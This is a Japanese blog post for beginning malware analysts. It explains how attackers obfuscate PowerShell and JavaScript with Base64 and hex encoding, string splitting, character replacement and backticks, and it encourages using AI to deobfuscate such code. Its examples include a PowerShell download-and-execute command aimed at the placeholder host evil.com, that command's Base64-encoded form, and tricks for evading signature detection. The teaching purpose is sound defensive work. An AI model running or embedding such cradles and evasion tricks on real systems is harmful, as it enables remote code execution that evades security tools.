こんにちは、セキュリティの守護者の皆さん!🛡️
マルウェア分析を始めると、まず最初にぶつかる大きな壁があります。それはまさに「読めないコード」です。明らかに英字アルファベットと数字が混ざっているのに、一体何を意味するのか全く分からない宇宙語のようなコードたち… 🤯
これこそが難読化(Obfuscation)です。攻撃者はセキュリティソリューション(ワクチン)の検出を回避し、分析者がコードを解釈できないようにするために、様々な手法を駆使してコードを複雑に絡ませます。
今日は特にPowerShellとJavaScriptのようなスクリプト言語で主に使用される代表的な難読化手法4つを非常に詳細に掘り下げていきます。この原理を知ってこそ、AIに「これを解いて!」と指示できますよね?😉

1. 難読化(Obfuscation)とは何ですか?🤔
難読化は、プログラムの機能(動作)はそのまま維持しながら、ソースコードを人間や分析ツールが理解しにくいように変形する技術です。
- 正常なコード: 「ドアを開けろ」
- 難読化されたコード: 「ド+アを10回回して開+け+ろ」 (結局ドアは開きます。)
セキュリティ機器は通常、「ドアを開けろ」という特定の文字列(シグネチャ)を検出しますが、難読化されるとこのシグネチャが壊れて検出を回避できるようになります。
2. 主要な手法 ①: エンコーディング (Encoding) 📦
最も一般的で基本的な方法です。データを別の形式に変換して、目で内容を見ることができないようにします。
A. Base64エンコーディング (PowerShellの常連客)
PowerShellマルウェアの90%以上はBase64を使用します。
- オリジナル: IEX (New-Object Net.WebClient).DownloadString(‘http://evil.com’))
- 難読化:
powershell.exe -EncodedCommand SQZWAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtACcAKQA= - 特徴: 末尾に=パディング文字がよく見られ、英字の大文字小文字と数字が混ざった長い文字列形式です。攻撃者は-EncodedCommand (または-enc, -e) オプションを使用してこれを直接実行します。
B. Hexエンコーディング / Unicodeエンコーディング (JSなど)
文字を16進数(Hex)の数字やUnicode値に変換します。
- オリジナル: var url = “http”
- 難読化: var x75x72x6c = “x68x74x74x70”
- 特徴: x, u, %記号の後に数字が続く形式です。
3. 主要な手法 ②: 文字列の分割と結合 (Split & Join) 🧩
セキュリティソリューションはhttp、powershell、cmd.exeのような危険な単語を監視します。攻撃者はこれらの単語をバラバラにします。
- オリジナル: Invoke-Expression
- 難読化: `$a = “In”+”vo”+”ke-“;
$b = “Exp”+”res”+”sion”;
& ($a + $b) …`
- 原理: プログラムが実行される瞬間(Runtime)に、分割された文字列が一つに結合されてコマンドが完成します。静的分析ツールは分割された状態しか見ないため、検出が困難です。
4. 主要な手法 ③: 置換 (Replacement) 🔄
特定の文字を意味のない他の文字で埋め込み、実行直前に削除したり、元の文字に戻したりします。
- オリジナル: http://malware.com
- 難読化:
("ht@tp://m@lw@re.c@om").Replace("@", "") - 解釈: 途中に混ざっているアットマーク(@)を空文字列(“”)に置換(Replace)してしまえば、結局元のURLだけが残ります。
5. 主要な手法 ④: エスケープ文字の活用 (Backticks) 🦇
これはPowerShell特有の非常にユニークで悪質な(?)手法です。PowerShellではバックティック()文字がエスケープ処理用に使われますが、コマンドの途中に挿入しても実行には何の影響も与えません。
- オリジナル: DownloadString
- 難読化:
DownloadString` - 原理: 人間が読むのはうんざりするほど面倒で、機械(単純な文字列マッチングシステム)はDownloadStringという単語を認識できません。しかし、PowerShellインタープリターはバックティックを無視して正常にコマンドを実行します。
6. 結論: なぜ私たちはこれを学ぶべきなのでしょうか?🎓
このような難読化されたコードを人間が一つ一つ手作業で復元(Deobfuscation)しようとすると、途方もない時間がかかります。Replace関数を計算し、Base64をデコードし、分割された文字列を結合していると、夜を徹することになりがちです。🌙
しかし、生成型AI(LLM)はこのようなパターン認識に天才的な能力を発揮します。「このBase64コードをデコードし、難読化された変数名を元の意味に合わせて変更して」と命令すれば、AIは瞬時に人間が読めるきれいなコードに戻してくれます。
今日学んだこれらの手法こそが、AIに私たちが指示すべき「復号化作業」の対象となるのです。敵を知り己を知れば百戦危うからず!難読化の原理を知ったので、さあAIと一緒に解読しに行きましょう!🚀
次回は、この理論に基づいて実際に難読化されたスクリプトをAIを通じて解く実習を行います。お楽しみに!
コメントを残す